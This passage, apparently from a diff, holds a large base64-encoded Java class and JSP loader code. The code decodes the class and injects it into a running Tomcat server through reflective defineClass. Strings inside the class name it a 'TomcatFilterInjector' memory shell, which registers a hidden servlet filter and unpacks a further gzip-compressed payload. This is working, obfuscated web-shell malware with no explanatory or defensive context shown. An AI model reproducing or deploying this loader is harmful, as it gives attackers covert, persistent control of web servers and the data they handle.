dFRocmVhZAEAFCgpTGphdmEvbGFuZy9UaHJlYWQ7CgAwAOgMAOkA1AEADmdldENsYXNzTG9hZGVyCgAIAOsMAOwAiwEADGdldENsYXNzTmFtZQoA7gDvBwDwDADxADQBABVqYXZhL2xhbmcvQ2xhc3NMb2FkZXIBAAlsb2FkQ2xhc3MKAAgA8wwA9ACLAQAPZ2V0QmFzZTY0U3RyaW5nCgAIAPYMAPcA+AEADGRlY29kZUJhc2U2NAEAFihMamF2YS9sYW5nL1N0cmluZzspW0IKAAgA+gwA+wD8AQAOZ3ppcERlY29tcHJlc3MBAAYoW0IpW0IIAP4BAAtkZWZpbmVDbGFzcwkBAAEBBwECDAEDAQQBABFqYXZhL2xhbmcvSW50ZWdlcgEABFRZUEUBABFMamF2YS9sYW5nL0NsYXNzOwoBAAEGDAEHAQgBAAd2YWx1ZU9mAQAWKEkpTGphdmEvbGFuZy9JbnRlZ2VyOwcBCgEAE2phdmEvbGFuZy9UaHJvd2FibGUKAQkBDAwBDQAGAQAPcHJpbnRTdGFja1RyYWNlCgAIAQ8MARAA1AEAEWdldENhdGFsaW5hTG9hZGVyCAESAQANZmluZEZpbHRlckRlZggBFAEAL29yZy5hcGFjaGUudG9tY2F0LnV0aWwuZGVzY3JpcHRvci53ZWIuRmlsdGVyRGVmCAEWAQAvb3JnLmFwYWNoZS50b21jYXQudXRpbC5kZXNjcmlwdG9yLndlYi5GaWx0ZXJNYXAIARgBACRvcmcuYXBhY2hlLmNhdGFsaW5hLmRlcGxveS5GaWx0ZXJEZWYIARoBACRvcmcuYXBhY2hlLmNhdGFsaW5hLmRlcGxveS5GaWx0ZXJNYXAKADABHAwAMwEdAQA9KExqYXZhL2xhbmcvU3RyaW5nO1pMamF2YS9sYW5nL0NsYXNzTG9hZGVyOylMamF2YS9sYW5nL0NsYXNzOwgBHwEADXNldEZpbHRlck5hbWUIASEBAA5zZXRGaWx0ZXJDbGFzcwgBIwEADGFkZEZpbHRlckRlZggBJQEADXNldERpc3BhdGNoZXIIAScBAAdSRVFVRVNUCAEpAQANYWRkVVJMUGF0dGVybgoACAErDAEsAIsBAA1nZXRVcmxQYXR0ZXJuCAEuAQAwb3JnLmFwYWNoZS5jYXRhbGluYS5jb3JlLkFwcGxpY2F0aW9uRmlsdGVyQ29uZmlnCgAwATAMATEBMgEAF2dldERlY2xhcmVkQ29uc3RydWN0b3JzAQAiKClbTGphdmEvbGFuZy9yZWZsZWN0L0NvbnN0cnVjdG9yOwgBNAEADXNldFVSTFBhdHRlcm4IATYBABJhZGRGaWx0ZXJNYXBCZWZvcmUIATgBAAxhZGRGaWx0ZXJNYXAKAToAeQcBOwEAHWphdmEvbGFuZy9yZWZsZWN0L0NvbnN0cnVjdG9yCgE6AT0MAD8BPgEAJyhbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwgBQAEADWZpbHRlckNvbmZpZ3MHAUIBAA1qYXZhL3V0aWwvTWFwCwFBAUQMAUUBRgEAA3B1dAEAOChMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7CgAlAQwKAAgAAwEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAZmaWx0ZXIBABJMamF2YS9sYW5nL09iamVjdDsBAAhjb250ZXh0cwEAEExqYXZhL3V0aWwvTGlzdDsBAAR0aGlzAQBDTGNvbS9yZWFqYXNvbi9qYXZhd2ViL21lbXNlbGwvdG9tY2F0L2luamVjdG9yL1RvbWNhdEZpbHRlckluamVjdG9yOwEAFkxvY2FsVmFyaWFibGVUeXBlVGFibGUBACRMamF2YS91dGlsL0xpc3Q8TGphdmEvbGFuZy9PYmplY3Q7PjsBAA1TdGFja01hcFRhYmxlAQAMZGVjb2RlckNsYXNzAQAHZGVjb2RlcgEAB2lnbm9yZWQBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAliYXNlNjRTdHIBABJMamF2YS9sYW5nL1N0cmluZzsBABRMamF2YS9sYW5nL0NsYXNzPCo+OwEACkV4Y2VwdGlvbnMBAA5jb21wcmVzc2VkRGF0YQEAA291dAEAH0xqYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbTsBAAJpbgEAHkxqYXZhL2lvL0J5dGVBcnJheUlucHV0U3RyZWFtOwEAD2d6aXBJbnB1dFN0cmVhbQEAH0xqYXZhL3V0aWwvemlwL0daSVBJbnB1dFN0cmVhbTsBAAZidWZmZXIBAAFuAQABSQcBaAEAE2phdmEvaW8vSU9FeGNlcHRpb24BAAR2YXI1AQAgTGphdmEvbGFuZy9Ob1N1Y2hGaWVsZEV4Y2VwdGlvbjsBAANvYmoBAARuYW1lAQAFZmllbGQBABlMamF2YS9sYW5nL3JlZmxlY3QvRmllbGQ7AQAFY2xhenoBAAx0YXJnZXRPYmplY3QBAAptZXRob2ROYW1lBwFzAQAramF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvblRhcmdldEV4Y2VwdGlvbgEABXZhbHVlAQAaTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAAdtZXRob2RzAQAbW0xqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQABZQEAIUxqYXZhL2xhbmcvTm9TdWNoTWV0aG9kRXhjZXB0aW9uOwEAIkxqYXZhL2xhbmcvSWxsZWdhbEFjY2Vzc0V4Y2VwdGlvbjsBAApwYXJhbUNsYXp6AQASW0xqYXZhL2xhbmcvQ2xhc3M7AQAFcGFyYW0BABNbTGphdmEvbGFuZy9PYmplY3Q7AQAGbWV0aG9kAQAJdGVtcENsYXNzAQAVW0xqYXZhL2xhbmcvQ2xhc3M8Kj47BwF8BwF+BwF3AQAJU2lnbmF0dXJlAQBgKExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzPCo+O1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAEa2V5MQEAE0xqYXZhL3V0aWwvSGFzaE1hcDsBAANrZXkBAAtjaGlsZHJlbk1hcAEABnRocmVhZAEAEkxqYXZhL2xhbmcvVGhyZWFkOwEAB3RocmVhZHMBABdMamF2YS91dGlsL0hhc2hNYXA8Kio+OwEAJigpTGphdmEvdXRpbC9MaXN0PExqYXZhL2xhbmcvT2JqZWN0Oz47AQAJY2xhenpCeXRlAQACZTEBABVMamF2YS9sYW5nL1Rocm93YWJsZTsBAAtjbGFzc0xvYWRlcgEAF0xqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQAJZmlsdGVyRGVmAQAJZmlsdGVyTWFwAQACZTIBAAxjb25zdHJ1Y3RvcnMBACBbTGphdmEvbGFuZy9yZWZsZWN0L0NvbnN0cnVjdG9yOwEADGZpbHRlckNvbmZpZwEAD0xqYXZhL3V0aWwvTWFwOwEADmNhdGFsaW5hTG9hZGVyAQAPZmlsdGVyQ2xhc3NOYW1lAQAjW0xqYXZhL2xhbmcvcmVmbGVjdC9Db25zdHJ1Y3RvcjwqPjsHAZkHAaEBACBqYXZhL2xhbmcvQ2xhc3NOb3RGb3VuZEV4Y2VwdGlvbgcBowEAIGphdmEvbGFuZy9JbnN0YW50aWF0aW9uRXhjZXB0aW9uAQAIPGNsaW5pdD4BAApTb3VyY2VGaWxlAQAZVG9tY2F0RmlsdGVySW5qZWN0b3IuamF2YQEAH29yZy9hcGFjaGUvbEVmYUkvU2lnbmF0dXJlVXRpbHMHAacKAagACQoBqAAeCgGoACIBACFMb3JnL2FwYWNoZS9sRWZhSS9TaWduYXR1cmVVdGlsczsBAAIvKggBrQEAHW9yZy5hcGFjaGUuTnBBVXAuRXJyb3JIYW5kbGVyCAGvAQ98SDRzSUFBQUFBQUFBLzZWWWVWaGMxUlgvWFdiZ0RjUEw0cENOTEdZMVlaOUFnQkJJWW9DUWdBS0pJVVlqK3VsamVNQ0VZV2J5NWcwQlNWcHI3V3B0N1Y2NzIxclQ5dE0ycVdZSXBtcTZxYlZiYkcxcnRhdjlvNnV0M1d0cnBiLzczcHZKREF6SjUrY2ZjKzk5OTV4NzdqbS9zOXg3NThsWEhub0VRTFdvOHlJSExnVnVGYm5JRTFoNFNCdlIvQ0V0UE9CdkNXbXhXRWRFNjlNTmdieXR3WERRM0M3Z0tpNDU0SUZIUUJrZkg5TEhqaDNMaHhjRkNsUVZjekJYb0RFUUdmWWJ1blpJaTBYQ2ZpbnRpTjdySDlhSFkzb281RGNqd3dITjlBOUUrbTRPaGtLYWY3Y3oyQlVNbVhJYkYwVUsrRHJPYTlGdEdzSHdRS01IOHdVODQrTlI2bVR2NlZOUktEZDB5eWtQRmxvYURmZlYydFRGS3BaSXFvc3pIaXdWbURzK1BxaExXN3EwWWQzbVdhNWloZVR4bmlkNHNGSmdYcEwxZ0JhS083eXJWYXlSdkFWcEZBbmRPb25iWlFKTGl6dXlJdGRZY2tDeWJWQlJqQkl1NzlQN2cySGRZaEJZWE56VDNONWVNbjBsalMyajVrMnQzVjVVb0ZLQlg4VkdWQWtVU3NaUmY4QVlpNW9SZjBzd09pZ3hLeGpRemZad3pOVENBVjJncEhnbWVQWU8weFkyS3Rna3NES0RFb3ZxQVgrM0hqQjA4MHA5ckp0Zlh0U2lUc0ZtRmZYWUlqQi91bXc2aGRzM2o1azY3WEVYbC9RMGUxR05Sb25LVnR2QUxPb2NrSFp0VjNFNWRuQ1JEQ3pKMm01enh2UkEzQWlhWTM1cTRMQTJxMmpCVGpxNEw3SXJHTlpDREVjSzVsNEtkam1vMkJ1MGpnYjBxQm1NaEJXMENWeG0yeGJUalpHUWJ2b0hUVFBxYjJQVGJVL3Mwdy9IOVppcDRBcUI5UmRqalVVajRaaGVnTjNvVU5HSkxvRjgydDJtMjlteGZsYlFNNllrbUh0VlhJVjloQzBRQ1p0YU1FellsbVhFenFCbWRFdk42TTNHa3V2a2p2dFZYSTBEakZQdTJLM0hZclJQWUUxeDBxdFpsTFo0R3VYYWExVWNsTnFxWEx0WE14aml6RE12QTdwSHhmVzRnWVJlTGFiWDFlelVBNUUraHMraWJKWklwM3B4bzRxYm9BbUlVWHFDK0YvSGVROEMvSWhxWXlGR2V3RjA5Q3NZVURHSW9NQ2xGMWJQMXFuSjVCNjljVk8vT0loN2VnL3BBWk1nRGlHa1lGaEZHSkdNaUxRWjdJaDBNcXl3ZUdaMmVYRVlob0tZQ2hOeFp2czBPa3RGY24yeStCWE5sT0prdDhSbG5XeEdWWXpoWm9KekZXdW9ETTRaMjBwMGpxbzRodGZSOGxpRzVSdXlXRDdUY0ZsM2IyRVVSSk51akVrSEgxWHdSb0VWRm5jdzRwZVoyR1FZMnRpZXVCbU5teFNtYThOZTNBcVhOUHZOS3Q2Q3Q3SmtoUFVqNTB2R2d1SXNNQ3Q0dThDcTg5TTJ1eG5VWkhxbDVkazdNcmxDSVgxQUN6VUZBblJ5R3RjN1dTSFBjKzJMVTlDd25xSjdjUWZ1bENYajNRSkwwckhZUDJoRWptaTlJZDBxQkVONHI0cjM0ZjFNZnlhSUZvcEpxTFBneEtScHh3ZFZmQWgzMldsNkRldUo5T1BpcEtFRWFpOVJkZ2hXWG41RXhVZnhNZkxINHIweHA3UXRLczZzenFrMC9nUStxZUJ1RlovQ3A1UDFKMU9rUU80Uk9aaW1ZVm9CSE1KblZOeUw0d3hYTTVLc3BabWVTRzEzS3o2bjR2T3kvaGFZa1pTSFpkamRwK0orZkNHVnhhM2haQlpuUm1CYS9Ua2g3VHdwOWNwbVdnRWV3SU1LVHFsSVlJS0JuNW5DOWluTkNoVms5bnBrTWJaUDdSM0YwMHBSWm9WdG5JMXFGMVVyc0NlZFRLNk1tOEZRWmJObGpZellNeXEraklkWlkvb2oxZ0hOcW42Uk1wRThRaCsxQzZZTkNmUDlLN3hYOUdRdEJsOVQ4WFY4d3c2VlR0MGNqUFNsVE1yWVplYnE5SDBOdlQvRThQUGJFcGcvanpNMGVyTFZyMi9pU1FYZlV2RnRmSWZ4UHBzRVJua3dQQklab3NsYnNrUjVGc2xac3RpRDc3R2U2UllHKzUwd1UvQ1VRSTZzM1Q5Z3BNVGk0Y3JoWUN4UTJkelUzWnFNSU1PREg4b3NzejQ4K0xFTnBYMUdrUFlUMHZwMG0vYmNUQmtwdnA4eE1HMis1bmgvdjNUQ0x4amoyV0tLMTRBV0szTG5kZkI2MUJVZjd0V04vVEx4NVdVd0V0QkNCelFqS0wrZFNiYzVHR1Q2Yit0NERiZk5SbFpyVnV6RnM1UjJZaFRvWlZCMEJ3ZkNtaGszZEZtYnNoVDJyYVhicFNTZWd3dXpYck9vN0lobTFDVEoweTRxY2lrTkVjUDhYU2N3cDl2VUFrT2RXdFN4cytlMVpWYkhyUG5McE9PTy9abDNiU2RvU09EVzZURzN6NDdNNElpK0o2b2JtVWNBMmZNMHcrQjV3OXRrcXJ4bVBZZklxc1NTcC8rcWkxMWZDRnlmWnZMQ01UZVdZVFJ2RmhjR2hWRVV5d1FpcWRuc1NMRmdCK3k2dHV3Q29GRi9JNm5FaHRuMW42YU54MGlwTWQyZHMxMDBHeFdoQ0N5L2tKbUt5SGZPL1ZtdFVrU0JjN1c5dUJ1WjRxbHhUQkZ6Wjl6ZkhObm5EM1V4UCszc2E5K1RKbW5sZERNZERDUGgvdUNBRlhscWY5b01EYjBRdjd6MzAxNGp3cGVoWXBjaytTQzFUenlCUzJaVVpUdmo2cGpBdlV5dDNCSDVWbU9WeXF3alk5RmtMVm1RUGFNVnUzSnhLMjkzSkc0RWRDcEY3c0xNSWxJcDE5SVBFV1BBcjBXMXdLRHU3NG8yWFIzMXR4cEd4R2pUd24waDFqMnh5b1BDZkxFYVBoNXptd0oxK3NiZWVtMUxvS3EydXJwRzg0aDFra1JYcmFxcWF0bFoxMVMvdWJaK1MzMU5WZDJtdXBaTm01dGE2cXZybXFxYk50WTB0M2pFQnNtNm1EcGRUYXdxbWdiMHNPa1JwWEp5T1ZYbUs4eXNxdDdrRVJWeVpyVU0rd3NxMXVnbFc0OXNicFROT3RtTXl1WStMbDdOZDZ2QXoza3RFL0pwRDdBdmRQb2xUci9DNmRkWWZUNUh1Y2hqKzB0KzFWanJnZUxTQ1lqU1FySG1sRmpMN3JKVFlqMjc0bE9paEYzWktWSE9ydktVOEo4RUxGbDhUenNTYWlraGgzMUphZGtFMXI0S0VieUtjNkVVc1ExdVMwUithWm1yN0pFSnJEL0JqeHo4aW0yZXBkMUtQTTkya2MyRVg0dU5sb2g4L0FaUGtmNWJpL3QzSFBIcDQyajFERmU2MlpmN1NrK2p2S3RpK1YxUTNNZmh6ajJENm9PbEQ0cjFDZFQ0YUhOREF0c3F5aEpvT3RFbFR0aElvQVN0Y09FdkhHK0Zhd3J6NEZiRWFnWG5oTUpucm15bVNFcWZ5MkVqcG9pM3k1bVVYSzJXL291SUZJaFZIdFpqTFRaUWRqRksyVDV2WVMvOXNCYS94eCs0WHlsdCtDTmU0SWhhcDJ3c3g1OHNHK1hvejNqUjhsWUNmN1dCeTdtZkVncUk1WXF5czlqZDRDNC9pL2FHM0NJMzdTdWZ4SlU1ZUF3dnBuMXg0RTlnejExNHJzZzlpVzZCaGp5THVuWVMxK1RndEtocVVFcUxGRmRDVkRjb1JYbSsza24wNWVCeHJKSGpNMkwxd2RJRURpVVFuUkNiaXBTRXFKbkV1QXZIY1h1UjIvZjZJbVVTYjNEaERHNDlPSUhiR2p5cDVXZHhPSUUzTmVRZng3d0c3eG5jY2JESU80RjNQVnFVWCtSSjREM1hzSGRiZmU0a1BpQ2toaVd1K2ZNVCtIQUNIeS9LVCtDZUZFWHlmOVpOM1U2TFdrazh2MER5ZjVGVHgxRlFVVVpMdnlTMW10T1FsL3c0U1VqdnhOMjRCMjl6K3R1aGlubkNsM0p6Q0o0cEhJVkhlay9rS2NLajRBRUZ1eFcwSzlEcFQyQ0tyc3VmamF6dzdzK1R3UHV5L0l0dGFBcmR5SnZKU204cHpZeUtmQ3NzRG1FcDI0MTBmeFZVYklLZndWRFBWR3BESGE3Q1p0ekFyNk5vNEVPd2tUcHZwOVpOMVB0eXZrVjI0QVNhY1JvdGhIWW5ucVlOejJJWHJkZ3QzTGlDWVhlbG1JYzl0SzFUTEVDWFdJNjlWcWpkeHVKd042MzlHLzdPdExtWGo1Si80SjlzNytUeitsLzROenlVdXQraDF2UE8reEwrUTkzYWVLMy9MOE5Qb1N3UFY3ekFPUVpiTWpnNWVobi9rOEhKMFN2RUtFZU9HUHlDTytXSnhTSkh1SmlFcXJoRXVFVXVjb1ZxSlhTT21FTWRCUzRYbHpqNVgyc2xNQmVmbkpiMys5UHlYcVJ5UWdpZktHUXJ4Ym5aeitGdlFhcWlsVm04V1lSZGF3bFRiYUlqTEYrK3pHd3RoRTQrbWF5am9zTjMralFlNml6M1BTTE80bXdDWHkxbi8xZ0NUM1JWTUFWODMzVS9qTU1IWGI1ejNTUlY4R1Bvb0t1VTR5Zk9vcmJqT0xaMCtiNXZMWmVCNzVieGZjajNkUHFTSXZlTU5ia043cklUVmlIZFJnKzMwdHVINlpsV21pZmpzMFNXb1IyeXpERFdhcTNpTXNXZ2NUdmZzdGJJdVpkb2xqUzNHaEtaNnluc1JycnRKaXhqVmR5R0lDWDBVbkFmZGtOSEovcTV4U0EzR2NBSXcxRkMwMFpKeTdCR0xHUVl1TGl5WGl3U2l5bWxFK3VzT1RkWFZqaHpUYWdWUzV4cU5TcUtHQ1FTN0JHeGxHZU1FTXNjcjlreWxuTmtyK1FvNlRYcW5DLy8zTEs5bGczOEgyVUYveGtIeWRxWjRKK3p3WDkyT3ZnL1RWOHlEZnh6cndMOFdsa0swc0MzdnJPREg2RXdnK2JIQ0toSnNVY3BJVTdCUndqRUtBRWQ0eGJqcE54TThJOWxnTDhpQy9nckxnTCszQlQ0VDEwWWZGSXZsYnhpNWY4QkpDclRpRndZQUFBPQgBsQoBqACBCgGoAKsKAagAuQoBqADrCgGoAPMKAagA9goBqAD6CgGoAQ8KAagBKwoBqAADACEBqAACAAAAAAAOAAEABQAGAAEBSQAAANgAAwAFAAAANiq3AAEqtgGpTCu5AA0BAE0suQATAQCZABssuQAZAQBOKi22Aao6BCotGQS2Aaun/+KnAARM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"; - ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); - try { - classLoader.loadClass(className).newInstance(); - } catch (Exception e) { - try { - java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); - defineClass.setAccessible(true); - byte[] bytecode = decodeBase64(base64Str); - Class clazz = (Class) defineClass.invoke(classLoader, bytecode, 0, bytecode.length); - clazz.newInstance(); - } catch (Exception ignored) { - } - } -%>`; - 